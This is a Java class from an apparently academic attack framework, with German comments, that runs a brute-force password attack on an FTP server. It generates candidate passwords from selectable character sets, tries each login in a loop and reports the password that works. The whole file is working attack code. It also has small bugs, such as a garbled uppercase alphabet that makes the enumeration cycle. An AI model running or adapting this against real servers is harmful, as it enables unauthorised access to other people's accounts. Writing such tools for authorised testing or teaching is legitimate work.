/*
 * FTPBrute.java
 *
 * Created on 2. Juni 2007, 11:13
 * 
 */

package ppr.jiasharm.framework.attacks;

import org.dom4j.Document;
import org.dom4j.Element;
import org.dom4j.DocumentException;
import org.dom4j.DocumentHelper;

import com.cqs.ftp.*;
import java.util.Iterator;

/**
 * Diese Klasse ermoeglicht einen FTP-Brutforce-Angriff
 * mit zuvor gewaehlten Parametern. 
 *
 * @author Dennis Gessner
 */
public class FTPBrute extends Attack {
    
    /** Name des Angriffs.*/
    private static final String NAME = "FTPBrute";
  
    /** Beschreibung des Angriffs.*/
    private static final String INFO = "Ein brutforce-Angriff "
            + "auf einen FTP-Server";
    
    /** Der standard-FTP-Port. */
    private static final int STDFTPPORT = 21;
    
    /** Welche sind die Grossbuchstaben.*/
    private static final String CAPITALLETTERS = "ABCDEFGHIJKLMNOPQCRSUVWXYZ";

    /** Welche sind die Kleinbuchstaben.*/
    private static final String SMALLLETTERS = "abcdefghijklmnopqrstuvwxyz";
            
    /** Welche sind die Nummern.*/
    private static final String NUMBERS = "1234567890";
    
    /** Welche sind die Sonderzeichen.*/
    private static final String ADDITIONAL = "!\"$%&/()=?";

    /** Wieviele Parameter gibt es.*/
    private static final int NUMPARAMS = 7;

    /** Defaultparameter fuer den FTP-Angriff.
     *
     * hier nun zuerst die leserliche Form:
     *
        <parameter>
        <param>
            <name>
                remote_ip
            </name>
            <type>
                String
            </type>
            <range>
                Die IP-Adresse des Zielrechners.
            </range>
            <value>
                127.0.0.1
            </value>
        </param>
        <param>
            <name>
                remoteport
            </name>
            <type>
                int
            </type>
            <range>
                Die Portnummer des Zielrechners.
            </range>
            <value>
                21
            </value>
        </param>
        <param>
            <name>
                remoteuser
            </name>
            <type>
                String
            </type>
            <range>
                Der Standard-Benutzer, mit dem eine BForce-Attacke durchgefuehrt
                werden soll.
            </range>
            <value>
                dennis
            </value>
        </param>
        <param>
            <name>
                allowcapitalletters
            </name>
            <type>
                boolean
            </type>
            <range>
                Sind Grossbuchstaben erlaubt?
            </range>
            <value>
                0
            </value>
        </param>
        <param>
            <name>
                allowsmallletters
            </name>
            <type>
                boolean
            </type>
            <range>
                Sind Kleinbuchstaben erlaubt?
            </range>
            <value>
                0
            </value>
        </param>
        <param>
            <name>
                allownumbers
            </name>
            <type>
                boolean
            </type>
            <range>
                Sind Zahlen erlaubt?
            </range>
            <value>
                1
            </value>
        </param>
        <param>
            <name>
                allowadditional
            </name>
            <type>
                boolean
            </type>
            <range>
                Sind Sonderzeichen erlaubt?
            </range>
            <value>
                0
            </value>
        </param>
        </parameter>
     *
     */
     private static final String DEFAULT = "<parameter><param><name>"
             + "remotehost</name><type>String</type><range>" 
             + "Die IP-Adresse des Zielrechners.</range><value>127.0.0.1" 
             + "</value></param><param><name>remoteport</name><type>int" 
             + "</type><range>Die Portnummer des Zielrechners.</range><value>" 
             + "21</value></param><param><name>remoteuser</name><type>String" 
             + "</type><range>Der Standard-Benutzer, mit dem eine " 
             + "BForce-Attacke" 
             + " durchgefuehrt werden soll.</range><value>dennis</value>"
             + "</param>" 
             + "<param><name>allowcapitalletters</name><type>boolean</type>" 
             + "<range>Sind Grossbuchstaben erlaubt?</range><value>0</value>" 
             + "</param><param><name>allowsmallletters</name><type>boolean" 
             + "</type><range>Sind Kleinbuchstaben erlaubt?</range><value>0" 
             + "</value></param><param><name>allownumbers</name><type>boolean" 
             + "</type><range>Sind Zahlen erlaubt?</range><value>1</value>" 
             + "</param><param><name>allowadditional</name><type>boolean</type>"
             + "<range>Sind Sonderzeichen erlaubt?</range><value>0</value>" 
             + "</param></parameter>";

    /** Aktueller Zustand des Angriffs.*/
    private String state = super.IDLE;    
    
    /** Die Zieladresse des Angriffs.*/
    private String remotehost;
    
    /** Der Zielport des Angriffs.*/
    private int remoteport;
    
    /** Der Standard-Login des Benutzers.*/
    private String remoteuser;
    
    /** Werden Grossbuchstaben bei dem Angriff erlaubt?*/
    private int allowcapitalletters;

    /** Werden Kleinbuchstaben bei dem Angriff erlaubt?*/
    private int allowsmallletters;
    
    /** Werden Nummern bei dem Angriff erlaubt?*/
    private int allownumbers;
    
    /** Werden Sonderzeichen bei dem Angriff erlaubt?*/
    private int allowadditional;    
    
    /** Welche Zeichen sind als PW erlaubt?*/
    private String allowedsigns;
    
    /**Aktuelle Zustandsmeldung.*/
    private String message = "";
    
    /** Erzeugt einen neuen FTP-Angriff. */
    public FTPBrute() {
        this.attackName = NAME;
        this.attackInfo = INFO;
        this.attackDefaultParams = DEFAULT;
        this.attackState = super.IDLE;
        this.setAttackParams("127.0.0.1", STDFTPPORT, this.attackDefaultParams);
    }
    
    /**
     * Diese Methode gibt den den aktuellen Zustand von diesem Angriffs als
     * textuelle Darstellung zurueck.
     * 
     * @return getAttackState Die textuelle Darstellung des derzeitigen Status.
     **/
    public String getAttackState() {
        this.attackState = this.state + this.message;    
        return this.attackState;
    }
    
    /**
     * Diese Methode aendert die aktuellen Einstellungen fuer diesen Angriff.
     * Wirf ggf. eine IllegalArgumentException, falls der Parameter nicht dem
     * festgelegten Format entspricht oder wenn ein Parameter nicht uebernommen
     * werden kann, wird eine aussagekraeftige Fehlermeldung geworfen.
     *
     * @param target  IP-Addresse oder Hostname des Zielrechners.
     * @param port    Portnummer des Zielrechners.
     * @param params  Auflistung der Parameter im XML-Format wie in def_2
     *                festgelegt wurde.
     */
    public void setAttackParams(String target, int port, 
                                         String params) {
        /* Aktuelles Element der XML-Parameterliste */
        Element currentparam;
        
        /* Der Name des aktuellen Attributs */
        String attributename;
        
        /* Der Wert des aktuellen Attributs */
        String attributevalue;        
        
        String tmpString;
        
        
        // Zu Sicherheitszwecken werden Standard-parameter gesetzt.
        this.allownumbers = 1;
        this.allowsmallletters = 1;
        this.remotehost = "127.0.0.1";
        this.remoteport = STDFTPPORT;
        this.remoteuser = "root";        
        
        
        this.state = super.IDLE;
        this.message = "";

        this.remotehost = target;
        this.remoteport = port;

            
        try {
        
            /*Wandle die Parameter in ein XML-Dokument um.*/
            Document doc = DocumentHelper.parseText(params);
            
            /* Wenn nicht genau sieben Parameter (derzeitiger Stand) uebergeben 
             * werden, wird mit einem fehler abgebrochen.
             */
            if (doc.getRootElement().elements().size() != NUMPARAMS) {
              this.state = super.ERROR;
              this.message = "Illegal number of Parameters. Must be" 
                      + NUMPARAMS + ".";
              return;
            }

            /* Die Parameter werden nun einer nach dem anderen abgearbeitet. */
            for (Iterator i = doc.getRootElement().elementIterator();
                                i.hasNext();) {
                currentparam = (Element) i.next();
                
                attributename = currentparam.elementTextTrim("name");
                attributevalue = currentparam.elementTextTrim("value");
                
                if (attributename.equals("remotehost")) {
                    this.remotehost = attributevalue;
                }
                if (attributename.equals("remoteport")) {
                    try {
                        this.remoteport = (
                                new Integer(attributevalue).intValue());
                    } catch (ClassCastException e) {
                        this.state = super.ERROR;
                        this.message = "Illegal argument! Port-number is not" 
                                + " a number.";
                        return;                        
                    }
                    
                }
                if (attributename.equals("remoteuser")) {
                    this.remoteuser = attributevalue;
                }
                if (attributename.equals("allowcapitalletters")) {
                    if (!((attributevalue.equals("0")) 
                            || (attributevalue.equals("1")))) {
                        this.state = super.ERROR;
                        this.message = "Illegal argument! " 
                                + "allowcapitalletters is not boolean.";
                        return;                          
                    }
                    this.allowcapitalletters = (
                            new Integer(attributevalue).intValue());
                }
                if (attributename.equals("allowsmallletters")) {
                    if (!((attributevalue.equals("0")) 
                            || (attributevalue.equals("1")))) {
                        this.state = super.ERROR;
                        this.message = "Illegal argument! allowsmallletters" 
                                + " is not boolean.";
                        return;                          
                    }
                    this.allowsmallletters = (
                            new Integer(attributevalue).intValue());
                }
                if (attributename.equals("allownumbers")) {
                    if (!((attributevalue.equals("0")) 
                            || (attributevalue.equals("1")))) {
                        this.state = super.ERROR;
                        this.message = "Illegal argument! allownumbers" 
                                + " is not boolean.";
                        return;                          
                    }
                    this.allownumbers = (
                            new Integer(attributevalue).intValue());
                }
                if (attributename.equals("allowadditional")) {
                    if (!((attributevalue.equals("0")) 
                            || (attributevalue.equals("1")))) {
                        this.state = super.ERROR;
                        this.message = "Illegal argument! allowadditional" 
                                + " is not boolean.";
                        return;                          
                    }
                    this.allowadditional = (
                            new Integer(attributevalue).intValue());
                }                
            }        
            /* Liegt eine DocumentException vor, war die Parameterliste kein 
             * gueltiges XML.*/
            } catch (DocumentException de) {
                this.state = super.ERROR;
                this.message = "Error while reading parameters.";
            
            /* Liegt eine NullPointerException vor, konnte ein 
             * Eintrag im XML-Dokument nicht gelesen werden.*/
            } catch (NullPointerException ne) {
                this.state = super.ERROR;
                this.message = "Missing parameter or value.";
            }
        
    }
    
    /**
     * Diese Methode gibt die aktuellen Parameter zurueck.
     *
     * @return getAttackParams Aktuelle Parameter als Auflistung im XML-Format, 
     *                         wie in def_2 festgelegt wurde.
     */
    public String getAttackParams() {
        return "<parameter><param><name>" 
                + "remotehost</name><type>String</type><range>" 
                + "Die IP-Adresse des Zielrechners.</range><value>" 
                + this.remotehost 
                + "</value></param><param><name>remoteport</name><type>int" 
                + "</type><range>Die Portnummer des Zielrechners." 
                + "</range><value>" 
                + this.remoteport 
                + "</value></param><param><name>remoteuser</name><type>String"
                + "</type><range>" 
                + "Der Standard-Benutzer, mit dem eine BForce-Attacke" 
                + " durchgefuehrt werden soll.</range><value>" 
                + this.remoteuser 
                + "</value></param>" 
                + "<param><name>allowcapitalletters</name><type>boolean</type>"
                + "<range>Sind Grossbuchstaben erlaubt?</range><value>" 
                + this.allowcapitalletters
                + "</value>" 
                + "</param><param><name>allowsmallletters</name><type>boolean"
                + "</type><range>Sind Kleinbuchstaben erlaubt?</range><value>"
                + this.allowsmallletters
                + "</value></param><param><name>allownumbers</name>" 
                + "<type>boolean" 
                + "</type><range>Sind Zahlen erlaubt?</range><value>" 
                + this.allownumbers 
                + "</value></param>" 
                + "<param><name>allowadditional</name><type>boolean</type>" 
                + "<range>Sind Sonderzeichen erlaubt?</range><value>" 
                + this.allowadditional 
                + "</value></param></parameter>";
    }
    
    /**
     * Diese Methode gibt den eindeutigen Namen von diesem Angriff zurueck.
     *
     * @return getAttackName Eindeutiger Name diesen Angriffs.
     */
    public String getAttackName() {
        return this.attackName;
    }
    
    /**
     * Diese Methode gibt eine Beschreibung von diesem Angriff zurueck.
     * In der Beschreibung steht, was der Angriff macht.
     *
     * @return getAttackInfo Textuelle Beschreibung des Angriffs.
     */
    public String getAttackInfo() {
        return this.attackInfo;
    }
    
    /**
     * Diese Methode gibt fuer diesen Angriff definierten Standard-Parameter
     * als Auflistung im XML-Format nach def_2 zurueck.
     *
     * @return getdefaultParams Standardparameter fuer diesen Angriff im 
     *                          XML-Format nach def_2.
     */
    public String getdefaultParams() {
        return this.attackDefaultParams;
    }

    /** Liefert das naechste Zeichen des Allowed-Strings gemaess des aktuellen
     *  Zeichens.
     *
     * @param current Das akteulle Zeichen.
     * @return getNextAllowed Das naechste Zeichen des Allowed-Strings.
     */
    private char getNextAllowed(char current) {
        /* Das letzte erlaubte Zeichen */
        char lastallowed = this.allowedsigns.charAt(
                this.allowedsigns.length() - 1);
        
        /* Das erste erlaubte Zeichen */
        char firstallowed = this.allowedsigns.charAt(0);
        
        /* Die aktuelle Position des Zeichens current im Allowed-String */
        int oldposition = this.allowedsigns.indexOf(current);
        
        if (current == lastallowed) {
            return firstallowed;
        }
        
        return this.allowedsigns.charAt(oldposition + 1);
    }
    
    /**
     * Diese Methode liefert anhand der Parameter fuer die Passwoerter
     * das bezueglich des aktuellen Passwortes naechste PW.
     *
     * @param oldpw Das aktuelle Passwort.
     * @return getNextPw Das naechste PW bezueglich des vorherigen.
     */    
    public String getNextPw(String oldpw) {
        String tmpStr;
        char tmpChar;
        
        int checkpos;
        String newpw = oldpw;
        
        /* Gibt die Position an, ab der erhoeht wird */
        int increaseFrom;
        
        /* lokaler Schleifeniterator */
        int localIterator;
        
        /* Das letzte erlaubte Zeichen */
        char lastallowed = this.allowedsigns.charAt(
                this.allowedsigns.length() - 1);
        
        /* Das erste erlaubte Zeichen */
        char firstallowed = this.allowedsigns.charAt(0);
        
        /* Falls noch kein Passwort bisher vergeben wurde...*/
        if (oldpw == "") {
            return new String("") + firstallowed;
        }
        
        /* Nun wird das Passwort gemaess den Parametern erhoeht. */
        
        checkpos = oldpw.length();
        
        /* Es wird nun die erste Stelle von rechts gesucht, die erhoeht werden
         * kann.
         */
        increaseFrom = 0;
        while (checkpos >= 1) {
            if (newpw.charAt(checkpos - 1) != lastallowed) {
                increaseFrom = checkpos - 1;
                break;
            }
            checkpos--;
            if (checkpos == 0) {
                checkpos--;
                break;
            }
        }
        
        /* 
         * Sollte checkpos < 0 sein, 
         * so muss die Laenge des pw erhoeht werden.
         */
        newpw = "";
        if (checkpos < 0) {
            for (localIterator = 0; 
                 localIterator < (oldpw.length() + 1); localIterator++) {
                 newpw = newpw + firstallowed;
            }
        } else {
            /* Im anderen Fall wird die gefundene Stelle um eins erhoeht und
             * alle Stellen rechts davon auf das firstallowed - Zeichen
             * gesetzt.
             */
            if (increaseFrom == 0) {
                newpw = new String("") 
                        + this.getNextAllowed(oldpw.charAt(increaseFrom));
            } else {
                tmpStr = oldpw.substring(0, increaseFrom);
                tmpChar = this.getNextAllowed(oldpw.charAt(increaseFrom));
                newpw = tmpStr + tmpChar; 
            }
            for (localIterator = increaseFrom + 1; 
                 localIterator < (oldpw.length()); localIterator++) {
                 newpw = newpw + firstallowed;
            }             
        }
        
        /*  Das neue pw wird zurueckgegeben */
        return newpw;
    }
    
    /**
     * Diese Methode startet den Angriff.
     * 
     */
    public void start() {

        /* Der Login-Name fuer den remote-user. */
        String login;
        
        /* Das aktuelle password fuer den Login */
        String pw;
        
        this.state = RUNNING;
        
        setAllowedSigns();
        
        login = this.remoteuser;
        pw = "";
        
        //this.remotehost = "127.0.0.1";
        //this.remoteport = 21;
        
        FTP ftp = new FTP(this.remotehost, this.remoteport);        

        /* ein Logfile wird hier nicht benoetigt
         * ftp.setLogFile("C:\\TEMP\\ftp.log");
         */
        
        

        while (true) {
            
            /* Verbindung zum FTP-Server wird hergestellt */
            ftp.connect();

            /* Konnte eine Verbindung zum Server hergestellt werden? */
            //System.out.print(ftp.lastReply());
            if (ftp.lastCode() != FTP.CODE_CONNECT_OK) {
                System.out.println("Connection failed.");
                this.state = super.ERROR;
                this.message = "Could not connect to FTP-Server: " 
                        + this.remotehost + "on Port: " + this.remoteport;
                return;
            }

            pw = this.getNextPw(pw);
            
            /** Nun wird der Login mit pw versucht. */
            ftp.login(login, pw);

            /** Waren Name und PW korrekt?*/
            //System.out.print(ftp.lastReply());

            if (ftp.lastCode() != FTP.CODE_LOGGEDIN) {

                //System.out.println("incorrect login.");
                ftp.disconnect();
                if (ftp.lastCode() != FTP.CODE_DISCONNECT_OK) {
                    System.out.println("disconnection failed.");
                    return;

                }                
                //return;
            } else {
                /* Der Login auf dem FTP-Server war erfolgreich! */
                this.state = FINISHED;
                this.message = "Connection to " + this.remotehost + " was" 
                        + " successful with user: " + this.remoteuser + " and"
                        + " password:" + pw;
                System.out.println(this.message);
                
                ftp.disconnect();
                System.out.print(ftp.lastReply());
                if (ftp.lastCode() != FTP.CODE_DISCONNECT_OK) {
                    System.out.println("disconnection failed.");
                    this.state = super.ERROR;
                    return;

                }

                //System.out.println(" FTP disconnection OK.");
                return;
            }

            /* Weitere FTP-Funktionalitaet wird nicht benoetigt! */
            /* ein Logfile wird hier nicht benoetigt
             * ftp.closeLogFile();
             */
        }
    }
    
    /**
     * Diese Methode speichert in einem einzigen String alle erlaubten Zeichen
     * ab um diese spaeter einfacher durchlaufen zu koennen.
     */
    public void setAllowedSigns() {
        this.allowedsigns = "";
        if (allowcapitalletters == 1) {
            this.allowedsigns = this.allowedsigns + this.CAPITALLETTERS;
        }
        if (allowsmallletters == 1) {
            this.allowedsigns = this.allowedsigns + this.SMALLLETTERS;
        }
        if (allownumbers == 1) {
            this.allowedsigns = this.allowedsigns + this.NUMBERS;
        }
        if (allowadditional == 1) {
            this.allowedsigns = this.allowedsigns + this.ADDITIONAL;
        }
    }
}
